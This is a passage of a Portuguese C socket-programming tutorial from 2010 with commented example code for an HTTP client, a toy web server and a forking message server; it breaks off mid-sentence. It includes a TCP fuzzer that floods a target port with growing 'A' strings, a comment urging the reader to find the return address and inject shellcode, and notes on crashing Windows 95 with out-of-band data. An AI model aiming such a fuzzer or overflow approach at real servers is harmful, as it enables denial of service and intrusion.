Por que as funções htons (), htonl () necessitam ser usadas na programação de sockets?

[Portuguese] Sockets em linguagem C

Platform:

AIX

Published:

2010-03-06

# language: Portuguese # Title: Sockets em linguagem C # Date: 2010-03-05 # Author: Cooler_ . \ : / ' _ ' -= ( (_) ) =- . . / : \ .-. ' |.| /)|`|(\ (.(|'|)`) ~~~~~~`\`'./'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |.| ~~ |`| ~~ /// ,|'|. (_) ~~ |00| "'" \"\ ^~^~~ ~~ ^~^ ~ ~~~ ~~~~ _____ _ _ ~~~~~~ / ____| | | | | | (___ ___ ___| | _____| |_ ___ ___ _ __ ___ \___ \ / _ \ / __| |/ / _ \ __/ __| / _ \ '_ ` _ \ ~~~~~ ____) | (_) | (__| < __/ |_\__ \ | __/ | | | | | ((__)) |_____/ \___/ \___|_|\_\___|\__|___/ \___|_| |_| |_| ( O O) ~~ ~"\_\" ~~ ~~ ^~ _ _ ~~~~~~ _____ | | (_) ~~ / ____| ~~ | | _ _ __ __ _ _ _ __ _ __ _ ___ _ __ ___ | | | | | | '_ \ / _` | | | |/ _` |/ _` |/ _ \ '_ ` _ \ | | ~~ | |____| | | | | (_| | |_| | (_| | (_| | __/ | | | | | | |___ |______|_|_| |_|\__, |\__,_|\__,_|\__, |\___|_| |_| |_| \_____| __/ | __/ | ~~~~~ |___/ |___/ ~~~ ,;~;, ~~~ autor: Cooler_ /\_ contato: ~~ ( / //BotecoUnix.com.br (()| //) data: março dia 5 de 2010 | \\ ,,;;'\ __ _( )m=(((((((((((((================-------- /' ' '()/~' '.(, | ,;( )|| | ~ ,;' \ /-(.;, )) ) / / ) // Sem verba e mesmo estando na seca ! estou ajudando pessoal // \\ ||| )_\ )_\ )_\\ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Não diga que a vitória está perdida se é de batalhas que se vive a vida." por Raul Seixas OBS: Não nos responsabilizamos pelo mau uso das informações aqui contidas. Todo material e exemplos descritos nesse tutorial possuem somente propósitos educacionais. +======================================================================+ | | | ÍNDICE | |======================================================================| | +01 - Introdução | | +02 - Explanação ao TCP/IP | | +03 - BSD Sockets | | +04 - Funções read(),send() e exemplo cliente HTTP | | +05 - Funções listen(),Bind(),accept() e servidor http exemplo | | +06 - Na prática fazendo um FUZZER TCP | | +07 - Servidor e Cliente com Fork | | +08 - Servidor de comandos e Scanner de portas | | +09 - Simple Socket Library | | +10 - Explanação ao UDP e exemplo de Servidor e cliente | | +11 - Exemplo UDP Flood | | +12 - Conclusão | | +13 - Bibliografia | | +14 - Agradecimentos | | +15 - Sources externas | | | +======================================================================+ ------------------------------- +01 Introdução ------------------------------- Bom galera já muito tempo prometo para amigos e colegas do IRC um tutorial sobre sockets,o assunto é fascinante e ao mesmo tempo fatigante por conta do grande número de informações,Bom tutoriais de linguagem C não falta porem são redundantes sempre são sobre algoritmos,sort,lifo,trees ,hash tables, bancos de dados,grafos,interfaces de GUI como gtk,ncurses entre outros. Estrutura de dados e algoritmos em C são novos truques, um mago tem quer saber para ajudar nas suas tarefas,obviamente quanto mais truques melhor para ele, quando vemos ai algo de Sockets são coisas simples como port scan ,floods UDP bom vamos ver isso aqui também mais nossa meta é algo mais,quanto a tarefas multiprocesso vou usar fork por ser mais popular no pessoal intermediário em C,pois pthreads é para usuários avançados fora que pedi mais explicações . além disto tudo eu mostro soluções mais fáceis como uso de bibliotecas externas para fazer certas tarefas. O sistema operacional que testei os programas é Gentoo Linux,Debian e FreeBSD se você usa windows um bom conselho seria instalar cygwin ou virtual box e separar uma maquina por la com linux, do mais um bom editor de texto com highlights como VIM e EMACS evite IDEs pesadonas como eclipse,netbeans. Um GDB para depurar o código ou desbugar e já esta bom .Bom o assunto é tenso como diz meu amigo "_mlk_",se ajuda segundo "mind hacks" book da o'reilly a glicose é combustível para o cérebro e na hora que se come fazemos um overclock no nosso cérebro por alguns minutos ou horas então como conselho tome um suco ai de maçã,café antes de ler este tutorial e bote uma colher de açúcar mascavo no suco, e depois de 10 horas de uma lida rápida assim memoriza algumas coisas. Café é sodá que se tomar muito o desgaste vem em dobro, use com moderação ;). ----------------------------------- +02 Explanação ao TCP/IP ----------------------------------- antes de partir para Rock vamos uma leve introdução ao TCP/IP TCP/IP -( TRANSMISSION CONTROL PROTOCOL/INTERNET PROTOCOL) É um padrão de comunicação que reúne um conjunto de protocolos tais como tcp, ip, ftp (file transfer protocol), telnet, icmp, arp e nfs. As informações que trafegam na rede necessitam do TCP/IP, por isso ele é utilizado como protocolo primário da rede na internet. Este protocolo foi dividido em “camadas” bem definidas, cada uma realizando sua parte na tarefa de comunicação (aplicação, transporte, rede, e enlace/físico). Este modelo tem a seguinte vantagem: por ter os processos de comunicação bem definidos e divididos em cada camada, qualquer alteração poderá ser feita isoladamente, não precisando reescrever todo o protocolo. O TCP/IP tem como principal característica a transmissão de dados em máquinas que diferem em suas arquiteturas . Estas são as camadas que compõem o modelo TCP/IP. Aplicação , Transporte , Rede e enlace/físico vou explicar cada uma delas *APLICAÇÃO Nesta camada são necessários protocolos de transporte para garantir o funcionamento das aplicações reais (DNS, WWW, SMTP, POP, NFS, FTP). Esta camada trabalha com a porta a qual esta ligada a aplicação. Ex: FTP (porta 21), HTTP (porta 80), Telnet (porta 23), etc. *TRANSPORTE Utiliza dois protocolos para a comunicação Host-to-Host (TCP/UDP). Esta camada também tem como função organizar e controlar o fluxo de dados transmitidos para que o protocolo não se perca no meio de tantos pacotes. *REDE A camada chamada de rede ou Internet, tem como principal função direcionar os dados aos seus respectivos endereços. Esta característica é chamada de roteamento, que também tem como vantagem evitar o congestionamento da rede, pois trabalha com endereço IP de origem e destino. *enlace/físico Esta camada está com o seu funcionamento baseado na placa de rede, que dependendo do meio em que está funcionando trabalhará com diferentes padrões. voltando ao termo TCP o processo de aplicação transmite seus dados, de tamanho variável, fazendo chamadas ao TCP ao TCP cabe a fragmentação destes dados, formando os segmentos segmentos são unidades de transferência de dados do protocolo TCP a troca de segmentos serve para estabelecer conexão, transferir dados, etc vamos entender alguns campos de segmento TCP Offset: (4 bits) tamanho do header TCP Reserved: (6 bits) reservado p/ uso futuro Flags: (6 bits) URG: sinaliza um serviço urgente ACK:envio de uma confirmação válida no cabeçalho PSH:entrega de dados urgente à aplicação, s/ bufferização RST: resetar a conexão SYN:sincronizar o no de seqüência FIN: encerramento da conexão - Características principais: -Transferência em fluxo(stream) de dados -Confiabilidade(Reconhecimento ACK) -Controle de fluxo(Janela deslizante) -Multiplexação/Demultiplexação -Conexões logicas(Manutenção de Status) -Full-duplex - Formato do segmento TCP 0 32 ____________________________________________________________ | Porta de Origem | Porta de destino | |------------------------------------------------------------| | Numero seqüencial | |------------------------------------------------------------| | Numero de Reconhecimento | |------------------------------------------------------------| |Deslocamento | Reservado |URG|ACK|PSH|RST|SYN|FIN| Janela | |------------------------------------------------------------| |Checksum | Ponteiro de urgência | |------------------------------------------------------------| | Opções | Preenchimento | |------------------------------------------------------------| | Dados | |____________________________________________________________| ou 0 4 8 16 19 24 32 ------------------------------------------------------------------------- | Source Port | Destination Port | ------------------------------------------------------------------------- | Sequence Number | ------------------------------------------------------------------------- | Acknowledgment Number | ------------------------------------------------------------------------- | HLEN | Reserved | Code Bits | Window | ------------------------------------------------------------------------- | Checksum | Urgent Pointer | ------------------------------------------------------------------------- | Options | Padding | ------------------------------------------------------------------------- | Data | ------------------------------------------------------------------------- Pessoal que já brincou com "Nmap" e firewalls sabe muito bem o que são estas flags... detalhes ai do TCP vide //www.faqs.org/rfcs/rfc793.html . *agora já que temos uma leve base de TCP vamos para UDP UDP seria user Datagram protoco ou seja permite que a aplicação escreva um datagrama encapsulado num pacote IPv4 ou IPv6, e então enviado ao destino. Mas não há qualquer tipo de garantia que o pacote irá chegar ou não. Nem chega a ser confiável mais é bom saber sua função também dizemos que o UDP é um serviço sem conexão, pois não há necessidade de manter um relacionamento longo entre cliente e o servidor. Assim, um cliente UDP pode criar um socket, enviar um datagrama para um servidor e imediatamente enviar outro datagrama com o mesmo socket para um servidor diferente. Da mesma forma, um servidor poderia ler datagramas vindos de diversos clientes, usando um único socket. A diferença básica entre o UDP e o TCP é o fato de que o TCP é um protocolo orientado à conexão e, portanto, inclui vários mecanismos para iniciar,manter e encerrar a comunicação, negociar tamanhos de pacotes, detectar e corrigir erros, evitar congestionamento do fluxo e permitir a retransmissão de pacotes corrompidos, independente da qualidade do meio físico. Agora faltou explicar o que é IP, deveria ter explicado primeiro... IP é um acrônimo para a expressão inglesa "Internet Protocol" (ou Protocolo de Internet), que é um protocolo usado entre duas ou mais máquinas em rede para encaminhamento dos dados. Os dados numa rede IP são enviados em blocos referidos como pacotes ou datagramas (os termos são basicamente sinônimos no IP, sendo usados para os dados em diferentes locais nas camadas IP). Em particular, no IP nenhuma definição é necessária antes do host tentar enviar pacotes para um host com o qual não comunicou previamente. O IP oferece um serviço de datagramas não confiável (também chamado de melhor esforço); ou seja, o pacote vem quase sem garantias. O pacote pode chegar desordenado (comparado com outros pacotes enviados entre os mesmos hosts), também podem chegar duplicados, ou podem ser perdidos por inteiro. Se a aplicação precisa de confiabilidade,esta é adicionada na camada de transporte. ----------------------------------- +03 BSD Sockets ----------------------------------- Sockets o que é ? Especificamente em computação, um soquete pode ser usado em ligações de redes de computadores para um fim de um elo bidirecional de comunicação entre dois programas. A interface padronizada de soquetes surgiu originalmente no sistema operacional Unix BSD (Berkeley Software Distribution); portanto, eles são muitas vezes chamados de Berkeley Sockets. É também uma abstração computacional que mapeia diretamente a uma porta de transporte (TCP ou UDP) e mais um endereço de rede. Com esse conceito é possível identificar unicamente um aplicativo ou servidor na rede de comunicação IP. Isso segundo wikipédia mas vamos a algo concreto... *Um socket identifica univocamente um usuário TCP *Permite a associação entre processos de aplicação *O identificador da porta é concatenado ao endereço IP, onde a entidade TCP está rodando, definindo um socket *Função socket () exemplo de uso socket (familia, tipo, protocolo); O nome de um socket sempre está relacionado a um espaço de nomes, também chamado de domínio (socket domain).Cada espaço de nomes é definido por uma macro na forma PF_* (que vem do termo Protocol Family). Os principais espaços de nomes em uso no UNIX são: *PF_LOCAL : indica o espaço de nomes local, no qual os nomes de sockets são válidos somente no escopo do computador local. As macros PF_UNIX e PF_FILE são sinônimos desse espaço de nomes. *PF_INET : indica o espaço de nomes IPv4 e seus protocolos associados. *PF_INET6 : indica o espaço de nomes IPv6 e seus protocolos associados. Além dos acima, outros espaços de nome estão disponíveis, embora sejam de uso menos freqüente: PF_NS (protocolos Xerox NS), PF_ISO (protocolos OSI/ISO), PF_CCITT (protocolos do CCITT), PF_IMPLINK (Internet Message Processors), PF_ROUTE (protocolos de roteamento), etc. Para cada espaço de nomes, uma macro correspondente AF_* define o formato dos endereços para aquele espaço familia: PF_UNIX, PF_LOCAL, PF_INET, PF_INET6, PF_IPX, PF_NETLINK, PF_X25, PF_AX25 PF_ATMPVC, PF_APPLETALK, PF_PACKET, AF_INET, AF_UNIX, AF_ISO, AF_NS... Os sockets são divididos em 'tipos'. são eles SOCK_STREAM, SOCK_DGRAM, SOCK_SEQPACKET, SOCK_RAW, SOCK_RDM, SOCK_PACKET | | | TCP_________/ | | UDP______________________/ | famoso raw sockets _________________________________/ SOCK_STREAM: Fornece seqüencial, seguro, e em ambos os sentidos, conexões baseadas em "byte streams". Dados "out-of-band" do mecanismo de transmissão devem ser suportados. O protocolo TCP é baseado neste tipo de socket. SOCK_DGRAM: Suporta diagrama de dados (baixa conexão, mensagens inconfiáveis de um comprimento máximo fixo). O protocolo UDP protocol é baseado neste tipo de socket. SOCK_SEQPACKET: Fornece um seqüencial, seguro, e em duas direções de tipos de conexões para transmissão de dados endereçados para o diagrama de dados de comprimento máximo fixo; um consumidor é requerido para ler um pacote inteiro com cada chamada de leitura. SOCK_RAW: Fornece um protocolo de rede de acesso rápido. Este tipo especial de socket pode ser usado manualmente para construir algum tipo de protocolo. Um uso comum para esse tipo de socket é desempenhar requisições ICMP (como ping, traceroute, etc). SOCK_RDM : Fornece uma camada seguro que não garante ordenação. Isso é comumente não implementado no seu sistema operacional. tipos de protocolo protocolo: ip 0 IP # internet protocol, pseudo protocol number icmp 1 ICMP # internet control message protocol igmp 2 IGMP # internet group multicast protocol ggp 3 GGP # gateway-gateway protocol tcp 6 TCP # transmission control protocol pup 12 PUP # PARC universal packet protocol udp 17 UDP # user datagram protocol idp 22 IDP # WhatsThis? raw 255 RAW # RAW IP interface ---------------------------------------------------------------------- +04 Funções read(),send() e exemplo cliente HTTP ---------------------------------------------------------------------- vamos usar algumas biblitoecas são elas "sys/types.h","sys/sockets.h","netinet/in.h", "errno.h" e "netdb.h" *outra função que vamos suar connect() seria uma função responsável pela conexão de seu socket cliente, com um serviço servidor qualquer. as libs necessárias para o uso dessa função são "sys/types.h" e "sys/socket.h" Uma vez declarado as lib.. vamos declarar a função propriamente dita: int connect(Meusocket,(struct sockaddr * )&server, sizeof(server)); *read() usada para ler mensagens enviadas de um socket. Sua sintaxe eh igual a da função write (): int read (socket, *buffer, tamanho utilizado do buffer); *send() Usada para enviar uma mensagem para um socket. int Send (socket, *mensagem, tamanho da mensagem, parametros adicionais) parâmetros adicionais podem ser: #define MSG_OOB 0x1 /* process out-of-band data*/ #define MSG_DONTROUTE 0x4 /* bypass routing, usedirect interface */ #define MSG_DONTWAIT 0x40 /* don't block */ #define MSG_NOSIGNAL 0x2000 /* don't raise SIGPIPE */ MSG_OOB - Envia mensagens Out-Of-banda (OOB) - fora de banda - para sockets que suportam esse tipo de mensagem. Esse tipo de parâmetro eh o calcanhar de aquiles do Windows 95, que trava com uma mensagem OOB (famoso winnuke) MSG_DONTROUTE - Usado como debugador, para encontrar problemas MSG_DONTWAIT - Permite operações "non-blocking" MSG_NOSIGNAL - Ao manda SIGPIPE em erros em sockets stream quando o outro endereço quebra a conexão. exemplo de utilizacão: char cso [] = "sai fora cara" send (newSock, cso, sizeof (cso), 0); //Sem parâmetros adicionais continuando... Vou mostrar um exemplo ai de sockets usando Protocolo Http com funções socket,connect,read e send. vamos fazer simples cliente que pega Lê uma source de uma página http,veja que antes de mandar para socket tenho que converter o HOST em IP ---------------------------------- BEGIN CODE /* GarageCode coolest things Hehehe //GarageCode.tk *Function this programm This is Simples programm to splain the socket job in http protocol,to send data and take request from WebServer (C code with socket) || || \ / \/ [GET /index.html HTTP/1.1\nHost: www.site.com\t \n\n] || || \ / \/ (Apache listening server) if http read return the request with html to socket this coolest to study sockets and http requests,in the future i make robot about logic this code... *tested with GCC i wheel on Unix/Linux/BSD this: gcc -o program program.c; ./program Author: "Cooler_" contact: or license: GPL2 visit this site: //BotecoUnix.com.br Real Geeks BotecoUnix greetz Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug. __ ____ / /. .\ |--| 0 0 | | | . . | \ \____/ _----\___/---- _ /___\ /___\ | | |_|0|_| | | | | |_|_|0| | | rick taylor from | | |0|0|0| | | The Game SplatterHouse 2 at 1992 | | | / \ ) -------- ( / /\/ |) \/\ |/ \ | ( | ) |\ | /| | | | \ | / \ ___ | ___ / =o= | =o= /xx | xx\ Code and art by Cooler_ (_______| |______) */ //libs diversas para tratar entrada saida,memoria,string,erros... #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> //libs padrão para uso da socket #include <netinet/in.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> // lib para usar para converter host para ip #include <netdb.h> #define MAXSIZE 800 #define MAX 500 int main() { int sockfd,n; char *url,buff[MAXSIZE],sBuff[MAXSIZE],host[MAX],page[MAX],enter[MAX]; /* no protocolo http o cliente manda dados com a info GET /index.html HTTP/1.1 Host: www.site.com para tal feito ficaria em C GET /index.html HTTP/1.1\nHost: www.site.com\t \n\n Peguei entrada um link http extraimos host e dados do GET com sscanf,também pode ser feito com split ou regex,bom estraido dados usei strcat para concatenar as variaveis alfanumericas */ char getpage[MAX]="GET /"; // struct do netdb para converter host para ip struct hostent *ip; // struct da socket struct sockaddr_in end; //pegamos entrada do usuario printf("digite um link: "); fgets(enter, sizeof(enter), stdin); enter[strlen(enter)-1] = '\0'; //extraimos host e local da pagina sscanf(enter, "//%99[^/]/%99[^\n]", host, page); printf("DNS = \"%s\"\n", host); printf("Page = \"%s\"\n\n", page); strcat(page," HTTP/1.1\nHost: "); strcat(page,host); strcat(page,"\t \n\n"); // função da lib netdb.h para converter ai nosso host para IP ip = gethostbyname(host); url=inet_ntoa(*(struct in_addr *)ip->h_addr); strcat(getpage,page); printf("%s",getpage); /* separamos buff para pegar resposta do server mas antes preenchemos a memoria com \0 usamos sbuff para armazenar dados do envio */ memset(buff,'\0',sizeof(char)*MAXSIZE); memset(sBuff,'\0',sizeof(char)*MAXSIZE); strcpy(sBuff,getpage); // condições simples em caso de erro if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0 ){ perror("socket"); return errno; } // definimos a porta usado no caso 80 /* sin familia + AF_INET (ARPA INTERNET PROTOCOLS) - "A mais usada" + AF_UNIX (UNIX INTERNET PROTOCOLS) + AF_ISO (ISO PROTOCOLS) + AF_NS (XEROX NETWORK SYSTEM PROTOCOLS) */ end.sin_family=AF_INET; end.sin_port=htons(80);/* Aqui é o seguinte: htons significa "host to network short", como é short trabalha com 2 bytes,mas ha ainda outros tipos como: htonl("host to network long",4 bytes), ntós("network to host short",2 bytes), ntól("network to host long", 4 bytes). */ if( inet_pton(AF_INET,url,&end.sin_addr) < 0){ perror("inet_pton"); return errno; } memset(end.sin_zero,'\0',8); if(connect(sockfd,(struct sockaddr*)&end,sizeof(struct sockaddr)) < 0){ perror("connect"); return errno; } if( (send(sockfd, sBuff, strlen(sBuff), 0)) < 0){ perror("send"); close(sockfd); return errno; } // recebe a resposta e mostra saida while((n=read(sockfd,buff,MAXSIZE)) > 0) fprintf(stdout,"%s",buff); close(sockfd); return 0; } ---------------------------------- EOF compile gcc -o client client.c; ./client vai pedir um link digite exemplo //www.botecounix.com.br/blog e veja que bacana Voltando a explicação deste exemplo esta em linhas comentadas, ficou sóda o exemplo fazer isso em C é muito sóda da um trabalho danado,continuando a saga do HTTP vamos fazer agora um servidor de web... ---------------------------------------------------------------------- +05 funções listen(),Bind(),accept() e servidor http exemplo ---------------------------------------------------------------------- só que inves de fazer POG com memset vamos usar uma função para setar dados para zero *bzero () uma funcao que escreve zeros para uma string. No nosso caso, serve para zerar o resto da struct. void bzero (void *s, int n); pega os primeiros "n" bytes da string apontada em s e muda-os para zero. *listen() Esta funcao faz com que um socket aguarde por conexoes. fica na esculta... listen (socket, numero maximo de conexoes); ex: int sock2; sock2 = socket (AF_INET, SOCK_STREAM, 0); listen (sock2, 4); // apenas 4 clients podem se conectar nesse socket. *write() Tambem é usada para enviar mensagens para um socket. int write (socket, *buffer, tamanho utilizado do buffer); write (sock, msg, strlen (msg)); Você pode substituir a funcao send () por write() dependendo do caso... *Bind() Bind serve para unir um nome ao socket que você abriu. Para que fique bem claro, observe abaixo,IP do servidor: 201.34.36.133 ,IP do cliente: 201.45.44.144 Para que o cliente localizado em 201.45.44.144 se comunique com um programa (servidor) localizado em 201.34.36.133, é necessario que os dois se comuniquem por um canal em comum uma porta. Conexoes telnet sao feitas normalmente pela porta 23, ftp pela 21, http pela 80 etc.... A diferenciação entre os tipos de serviço está pela porta que este abre. Entao se eu for mandar uma mensagem para o servidor, esta tem q ir por uma porta aberta no sistema, especifica para aquele programa servidor. A funcao bind () faz o papel de abrir a porta no sistema. A sintaxe da bind () eh: int bind (socket, estrutura de conexao (local), tamanho da estrutura); *accept () Estabelece conexoes em um socket. Ela cria um novo socket com as mesmas propriedades do socket anterior do seu programa e aloca um novo "int socket" para a nova conexao. int sock2, newSock, // Este sera o novo socket tamanho; sock2 = socket (AF_INET, SOCK_STREAM, 0); ... tamanho = sizeof (struct sockaddr); listen (sock2, 3); newSock = accept (sock2, (struct sockaddr_in *)&remote, &tamanho); sintaxe seria novo socket = accept (socket, estrutura de conexao, tamanho); paramos de conversa e vamos ao programa comentado ---------------------------------- BEGIN CODE #include <stdio.h> #include <errno.h> #include <sys/socket.h> #include <resolv.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <stdlib.h> //nossa porta #define PORT 666 int main (int argc, char *argv[]){ int serversock; struct sockaddr_in self; /* cria o socket */ serversock = socket (AF_INET, SOCK_STREAM, 0) ; if ( serversock < 0 ){ perror("Erro no socket"); exit(1); } /* monta o endereço */ bzero (&self, sizeof(self)); self.sin_family = AF_INET; self.sin_port = htons(PORT); self.sin_addr.s_addr = INADDR_ANY; /* uso o endereço do host */ /* associa o endereço ao socket */ if ( bind (serversock, (struct sockaddr*)&self, sizeof(self)) ) { perror("Erro no bind"); exit(1); } /* coloca o socket em escuta */ if ( listen (serversock, 20) ) { perror("Erro no listen"); exit(1); } for(;;) { int clientsock; struct sockaddr_in client_addr; int addrlen = sizeof (client_addr); char * resposta ; /* aguarda e aceita uma conexão externa */ clientsock = accept (serversock, (struct sockaddr*)&client_addr, &addrlen); printf ("Client %s:%d connected\n", inet_ntoa (client_addr.sin_addr), ntohs (client_addr.sin_port)); /* envia uma resposta HTTP padrão */ resposta = "HTTP/1.1 200 Ok\n\n<p><b>Servidor exemplo funciono!!</b></p><img src=\"//i21.photobucket.com/albums/b256/rot_in_pieces/splatterhouse.gif\">\n" ; write (clientsock, resposta, strlen (resposta)); /* fecha o socket da conexão recebida */ close (clientsock); } /* encerra o socket servidor */ close (serversock); return 0; } ---------------------------------- EOF vamos lá compile gcc -o code code.c; ./code feito isso abra navegador na url //localhost:666 BINGO! veja que o server é simples se agente usar netcat para conectar por exemplo o server responde do mesmo geito não usa uma regex ou parser para indentificar apenas navegadores... ---------------------------------- CMD cooler@gentoo ~/c/good/socket $ nc localhost 666 HTTP/1.1 200 Ok <p><b>Servidor exemplo funciono!!</b></p> <img src="//i21.photobucket.com/albums/b256/rot_in_pieces/splatterhouse.gif"> ---------------------------------- EOF se não me engano o Servidor Apache usa "pcre.h" para fazer estas regex de verificação... Bom nosso servidor funcionou,Voltando para o HTTP estudando suas documentações podemos até fazer um post ou um get enviando dados, porem não é nosso objetivo aqui nidar com Bots e spiders de Web. Se quiser ta ai o link para te ajudar nos spiders e entender http boa sorte //tools.ietf.org/html/rfc2616 se conseguir mandar POST para um link usando "client" com socket mande e-mail do seu programa em C para eu ver ;) *pulo do gato pro pessoal que não gosta de criar a rodá,quer criar seus Bots e spiders de forma portavel,com estas bibliotecas você pode usar POST,GET e fazer AUTH,extrair Links,tarefas no FTP,fazer downloads.... libcurl é fácil para tal feito vide //curl.haxx.se/libcurl/c/postit2.html Libwww - the W3C Protocol Library, mais popular //www.w3.org/Library/ vamos continuar estudando sockets a fundo vamos deixar as bibliotecas que usa sockets para depois. ---------------------------------------------------------------------- +06 Na prática fazendo um FUZZER TCP ---------------------------------------------------------------------- continuando nossos estudos com sockets vamos um exemplo diferente de cliente e servidor vou mostrar um Fuzzer ,para quem não sabe fuzzing ta sendo usado para ajudar no descobrimento de falha em geral, ele faz testes em determinado programa seja por entradas stdin,forms http,argv,packets ou strings SQL etc... no nosso caso ele faz teste em programas remotos ---------------------------------- CODE /* GarageCode coolest things Hehehe //GarageCode.tk *Function this programm this programm do tests with strings "A" to search Bugs in TCP servers to make Remote Buffer Overflow on TCP servers is seen very within the hacker scene because the developers are busy making money n not do things well done... Wellcome to the real world,find the bug you should run behind the return address using GDB or other equivalent programm n inject your shellcode... *tested with GCC i wheel on Unix/Linux/BSD this: gcc -o program program.c; ./program Author: "Cooler_" contact: or license: GPL2 visit this site: //BotecoUnix.com.br Real Geeks BotecoUnix greetz Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug. __ ____ / /. .\ |--| 0 0 | | | . . | \ \____/ _----\___/---- _ /___\ /___\ | | | |0| | | | | | | | |0| | | rick taylor from | | |0|0|0| | | The Game SplatterHouse 2 at 1992 | | | / art and code by Cooler_ ================================= */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> struct sockaddr_in adr; int main() { int sock, envio,porta,bit, cont=1; char ip[32]; // entradas do nosso programa printf("quantos caracters ?\n"); scanf("%d",&bit); printf("qual numero da porta a testar ?\n"); scanf("%d",&porta); if((porta > 65535)||(porta <= 0)||(bit <= 0)) { fprintf(stderr, "ERRO veja se digitou dados validos\n"); return 0; } getchar(); printf("digite o ip \n"); fgets(ip, sizeof(ip), stdin); ip[strlen(ip)-1] = '\0'; while(cont <= bit) { // buffer vai aumentar 1,2,3,4,5... até o valor da var bit unsigned char buffer[cont]; // socket simples sock = socket (PF_INET, SOCK_STREAM, IPPROTO_IP); memset(&(buffer), 'A', sizeof (buffer)); adr.sin_family = AF_INET; adr.sin_port = htons (porta); inet_aton (ip, &(adr.sin_addr)); bzero (&(adr.sin_zero), 8); if ( (connect (sock, (struct sockaddr *)&adr, 16)) == -1) fprintf (stderr, "Porta [%d] ip: %s conexão não ativa ao envio de %d strings\n", ntohs (adr.sin_port), inet_ntoa (adr.sin_addr),cont); // enviamos buffer envio=send(sock, buffer, sizeof (buffer), 0); printf ("[%d] letras enviadas para %s porta %d\n", envio,ip,porta); if(envio == -1) printf("\nfuzzer terminou com %d letras 'A'\n", cont); cont++; close(sock); } return 0; } ---------------------------------- EOF não tem nada de mais no fuzzer, tudo vimos neste paper funções e tal agora vamos passar um exemplo simples ai de uso,exemplo você tem um servidor vulnerável sabendo que ele dá crash com mais de mil caracters de envio então temos o ambiente: ---------------------------------- CMD cooler@gentoo ~/c/good/socket $ ./server 4000 <----iniciamos server vulnerável em outro term #ele fica na escuta "listening" no terminal do teste faça cooler@gentoo ~/c/good/socket $ ./fuzz quantos caracters ? 2000 qual numero da porta a testar ? 4000 digite o ip 127.0.0.1 depois de uns minutos testando o serviço funcionando na porta 4000 +++ no terminal do servidor outras tentativas bla bla onexão a partir de 127.0.0.1... Descritores dos sockets: Servidor: 65, Conexão: 4 Mensagem recebida: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...até 1026 Não foi possível aceitar conexão. deu crash +++ no terminal do teste ...bla bla bla [1017] letras enviadas para 127.0.0.1 porta 4000 [1018] letras enviadas para 127.0.0.1 porta 4000 [1019] letras enviadas para 127.0.0.1 porta 4000 [1020] letras enviadas para 127.0.0.1 porta 4000 [1021] letras enviadas para 127.0.0.1 porta 4000 [1022] letras enviadas para 127.0.0.1 porta 4000 [1023] letras enviadas para 127.0.0.1 porta 4000 [1024] letras enviadas para 127.0.0.1 porta 4000 [1025] letras enviadas para 127.0.0.1 porta 4000 Porta [4000] ip: 127.0.0.1 conexão não ativa ao envio de 1025 strings *BINGO ! no envio de 1025 caracters "A" o buffer estora e o servidor cai ---------------------------------- EOF Bom agora explorar é com você tutorial aqui é apenas de sockets ;) ops: codigo do servidor vulnerável ta no fim deste paper... ---------------------------------------------------------------------- +07 Servidor e Cliente com Fork ---------------------------------------------------------------------- Continuando nossa Odisséia já enfrentamos um ciclope entendendo STREAMS ou seja comunicação TCP ficou faltando RAW_SOCK famoso raw sockets,DGRAM ou seja UDP.Mesmo tendo 3 exemplos é quero passar mais alguns problemas, bora fazer um servidor tipo QuestBook, ou seja cliente entra deixa uma mensagem e se o cliente quiser sair ele digita "exit",o nosso server vai poder ter no maximo 5 conexões ao mesmo tempo, para tal feito vamos usar fork veja ---------------------------------- CODE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #include <netinet/in.h> #include <sys/wait.h> #define PORTA 6666 #define ERRO -1 #define TAMMAX 250 //tamanho maximo da string int main () { struct sockaddr_in network,local; int sock, newSock, resp, strucsize,pros; char msgbuffer [TAMMAX]; if(fork() == 0){ sock = socket (AF_INET, SOCK_STREAM, 0); if (sock == ERRO) { perror ("Socket"); exit (0); } bzero ((char *)&local, sizeof (local)); local.sin_family = AF_INET; local.sin_port = htons (PORTA); local.sin_addr.s_addr = INADDR_ANY; strucsize = sizeof (local); resp = bind (sock, (struct sockaddr *)&local, strucsize); if (resp == ERRO) { perror ("Bind"); exit (0); } //numero maximo de conexões agente definiu aqui listen (sock, 5); for(;;) { if((newSock = accept (sock, (struct sockaddr *)&network, &strucsize))==1) { perror("accept"); exit(1); } if (newSock == ERRO) { perror ("Accept"); exit (0); } if(!fork()) { printf ("Recebendo conexao de: %s\n", inet_ntoa (network.sin_addr)); //permite o cliente da uma entrada e a mostra, se a entrada for exit bula o laço "for" infinito for (;;) { recv (newSock, msgbuffer, TAMMAX, 0); fprintf (stdout, "\nMensagem Recebida: %s\n", msgbuffer); if (!strcmp (msgbuffer, "exit")) break; } } } } } ---------------------------------- EOF explicando função recv Usada para receber mensagens de um socket. Sua sintaxe eh: int recv(int Meusocket, void *buf, int len, unsigned int flags); onde: Meusocket -> é o socket para ler de outro,no caso, um socket local. buf -> Aqui é o endereço da área do buffer. len -> é o tamanho do buffer. flags -> são formados por MSG_OOB e MSG_PEEK permitindo receber dados out-of-band e permitindo espiar dados que entram, consequentemente. Esta chamada deve ser usada somente com sockets do tipo SOCK_STREAM. MSG_OOB -> Para dados oob(out-of-band). MSG_WAITALL -> Este argumento faz com que seja bloqueada a chegada de dados ateh que q requisicao seja satisfeita. flags podem ser: MSG_OOB, MSG_PEEK, MSG_WAITALL, MSG_ERRQUEUE, MSG_NOSIGNAL. agora o cliente 